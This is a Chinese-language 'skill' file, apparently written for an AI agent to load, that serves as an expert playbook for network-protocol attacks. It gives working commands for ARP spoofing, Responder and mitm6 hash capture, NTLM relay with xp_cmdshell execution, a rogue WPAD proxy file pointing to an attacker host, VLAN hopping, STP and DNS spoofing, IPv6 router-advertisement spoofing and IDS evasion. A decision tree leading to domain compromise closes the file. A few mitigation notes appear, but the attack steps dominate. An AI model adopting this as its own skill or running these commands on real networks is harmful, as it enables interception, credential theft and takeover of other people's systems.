network-protocol-attacks

技能：网络协议攻击 — 专家攻击手册

AI 加载说明：网络协议专家级攻击技术。涵盖 ARP 欺骗、名称解析投毒（LLMNR/NBT-NS/mDNS）、WPAD 滥用、DHCPv6 接管、VLAN 跳跃、STP 操纵、DNS 欺骗、IPv6 攻击以及 IDS/IPS 规避。基础模型会遗漏这些攻击之间的串联机会，以及现代交换网络利用中的细节。

0. 相关路由

深入研究前，请考虑加载：

• tunneling-and-pivoting，在建立 MitM 位置后进行流量重定向
• ntlm-relay-coercion，转发从投毒攻击中捕获的 NTLM 哈希
• unauthorized-access-common-services，利用网络攻击期间发现的服务
• traffic-analysis-pcap，分析 MitM 捕获的流量

高级参考

在需要以下内容时，也请加载 NAME_RESOLUTION_POISONING.md：

• Responder/mitm6 的详细配置和工作流
• NTLM 中继目标选择与串联
• 凭据格式分析和破解优先级

---

1. ARP 欺骗

Gratuitous ARP — MitM 定位

# arpspoof (dsniff suite)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &

# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//

# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on

定向攻击

# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on

检测指标

• ARP 表中存在重复的 MAC 地址
• 非网关 IP 发起 Gratuitous ARP 风暴
• 工具：arpwatch、静态 ARP 条目、802.1X 端口认证

---

2. LLMNR / NBT-NS / mDNS 投毒

Responder — 凭据捕获

# Basic poisoning (LLMNR + NBT-NS + mDNS)
responder -I eth0 -dwPv

# Key flags:
# -d  Enable answers for DHCP broadcast requests (fingerprinting)
# -w  Start WPAD rogue proxy
# -P  Force NTLM auth for WPAD
# -v  Verbose

# Analyze mode only (passive, no poisoning)
responder -I eth0 -A

捕获的哈希格式

协议	哈希类型	Hashcat 模式	可破解性
NTLMv1	NetNTLMv1	5500	快 — 可使用彩虹表
NTLMv2	NetNTLMv2	5600	中等 — 字典加规则
NTLMv1-ESS	NetNTLMv1	5500	快 — 与 NTLMv1 相同

# Crack captured hashes
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt

中继而非破解

# ntlmrelayx — relay captured NTLM to other services
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://DC01 --delegate-access    # RBCD attack
ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"

---

3. WPAD 滥用

# Responder with WPAD proxy
responder -I eth0 -wPv

# WPAD flow:
# 1. Client queries DHCP for WPAD → DNS for wpad.domain.com → LLMNR/NBT-NS
# 2. Responder answers with rogue wpad.dat
# 3. Browser uses attacker's proxy → forced NTLM auth → credential capture

手动 WPAD PAC 文件

// Rogue wpad.dat content
function FindProxyForURL(url, host) {
    return "PROXY ATTACKER_IP:3128; DIRECT";
}

---

4. DHCPv6 攻击 — mitm6

即使在仅使用 IPv4 的网络中，Windows 客户端默认也会发送 DHCPv6 请求。

# mitm6 → DNS takeover → NTLM relay
mitm6 -d domain.com

# In parallel: relay captured NTLM to LDAP(S) for delegation
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access

# Attack chain:
# 1. mitm6 answers DHCPv6 → sets attacker as IPv6 DNS
# 2. Victim DNS queries go to attacker → WPAD redirect
# 3. Forced NTLM auth → relay to LDAP → create machine account or RBCD

关键条件

• 目标已禁用 SMB 签名（用于 SMB 中继）
• DC 未强制执行 LDAP 签名（用于 LDAP 中继）
• Domain Computers 配额 > 0（用于创建计算机帐户，默认值：10）

---

5. VLAN 跳跃

交换机伪装（DTP）

# yersinia — DTP attack to negotiate trunk
yersinia dtp -attack 1 -interface eth0

# frogger.sh — automated VLAN hopping via DTP
./frogger.sh
# Sends DTP frames → switch enables trunking → access all VLANs

# After trunk established:
modprobe 8021q
vconfig add eth0 TARGET_VLAN
ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up

双重标签（802.1Q）

# Craft double-tagged frame: outer=native VLAN, inner=target VLAN
# scapy:
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
sendp(pkt, iface="eth0")

# Limitation: one-way only (responses go to real gateway)
# Effective for blind attacks (e.g., targeting a server)

缓解措施

• 禁用 DTP：switchport nonegotiate
• 将本征 VLAN 设为未使用的 VLAN：switchport trunk native vlan 999
• 修剪 VLAN：中继端口仅允许必要的 VLAN

---

6. STP 操纵

声称为根桥

# yersinia — claim root bridge with lowest priority
yersinia stp -attack 4 -interface eth0

# Send BPDUs with priority 0 → become root bridge
# All traffic flows through attacker → MitM

拓扑变更攻击

# Send TC (Topology Change) BPDUs → force MAC table flush
yersinia stp -attack 1 -interface eth0
# Switches flood all ports temporarily → sniff traffic

缓解措施

• 在接入端口上启用 BPDU Guard
• 在指定端口上启用 Root Guard
• spanning-tree portfast bpduguard enable

---

7. DNS 欺骗

DNS 缓存投毒

# bettercap DNS spoofing
bettercap -iface eth0
> set dns.spoof.domains target.com, *.target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on

# ettercap DNS spoofing (via etter.dns config)
echo "target.com A ATTACKER_IP" >> /etc/ettercap/etter.dns
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//

Kaminsky 攻击变种

向递归解析器发送大量伪造响应，目标是随机子域；每个响应都包含一个恶意 authority 区段，将 NS 记录指向攻击者控制的服务器。

---

8. IPv6 攻击

路由器通告欺骗

# Send rogue RA → victim configures attacker as default gateway
atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64

# THC-IPv6 suite for comprehensive IPv6 attacks
atk6-parasite6 eth0     # ICMPv6 neighbor spoofing
atk6-redir6 eth0 ...    # Traffic redirection via ICMPv6 redirect

SLAAC 滥用

# Advertise rogue prefix → victim auto-configures IPv6 address
# Combined with rogue DNS (RA option) → full MitM over IPv6
# Windows prioritizes IPv6 over IPv4 by default

---

9. IDS/IPS 规避

技术	方法	工具/标志
IP 分片	将有效载荷拆分到多个分片中	nmap -f、fragroute
TTL 操纵	设置 TTL，使数据包在到达 IDS 时过期，但仍能到达目标	fragroute
编码规避	URL/Unicode/十六进制编码	手动、自定义脚本
会话拼接	将 TCP 有效载荷拆分到多个数据段中	fragroute、nmap --data-length
基于时间	放慢扫描速度以规避基于速率的检测	nmap -T0、nmap -T1
诱饵扫描	将真实扫描与诱饵源 IP 混合	nmap -D RND:10
空闲/僵尸扫描	使用空闲主机作为扫描代理	nmap -sI ZOMBIE_IP

# fragroute — fragment and reorder packets
echo "ip_frag 8" > /tmp/frag.conf
echo "order random" >> /tmp/frag.conf
fragroute -f /tmp/frag.conf TARGET_IP

# nmap evasion combinations
nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET

---

10. 决策树

Network access obtained — want to escalate via network attacks
│
├── On same broadcast domain as targets?
│   ├── YES → ARP spoof for MitM (§1)
│   │   └── Capture plaintext creds or redirect traffic
│   └── NO → need VLAN hopping first (§5)
│       ├── DTP enabled? → switch spoofing
│       └── Know native VLAN? → double tagging
│
├── Windows environment?
│   ├── LLMNR/NBT-NS enabled? (default YES)
│   │   └── Run Responder (§2) → capture NetNTLM hashes
│   │       ├── NTLMv1? → crack fast or relay
│   │       └── NTLMv2? → relay (§2) or crack with rules
│   │
│   ├── WPAD configured or auto-detect? → WPAD abuse (§3)
│   │
│   └── IPv6 not hardened? (default) → mitm6 + ntlmrelayx (§4)
│       └── LDAP relay → RBCD → domain compromise
│
├── Need DNS control?
│   ├── MitM already established? → DNS spoofing (§7)
│   └── DHCPv6 available? → mitm6 for DNS takeover (§4)
│
├── Managed switches with weak config?
│   ├── BPDU Guard off? → STP root bridge claim (§6)
│   └── DTP enabled? → VLAN hopping (§5)
│
├── IPv6 attack surface?
│   └── RA spoofing / SLAAC abuse (§8) → MitM over IPv6
│
└── IDS/IPS in path?
    └── Apply evasion techniques (§9) — fragmentation, timing, encoding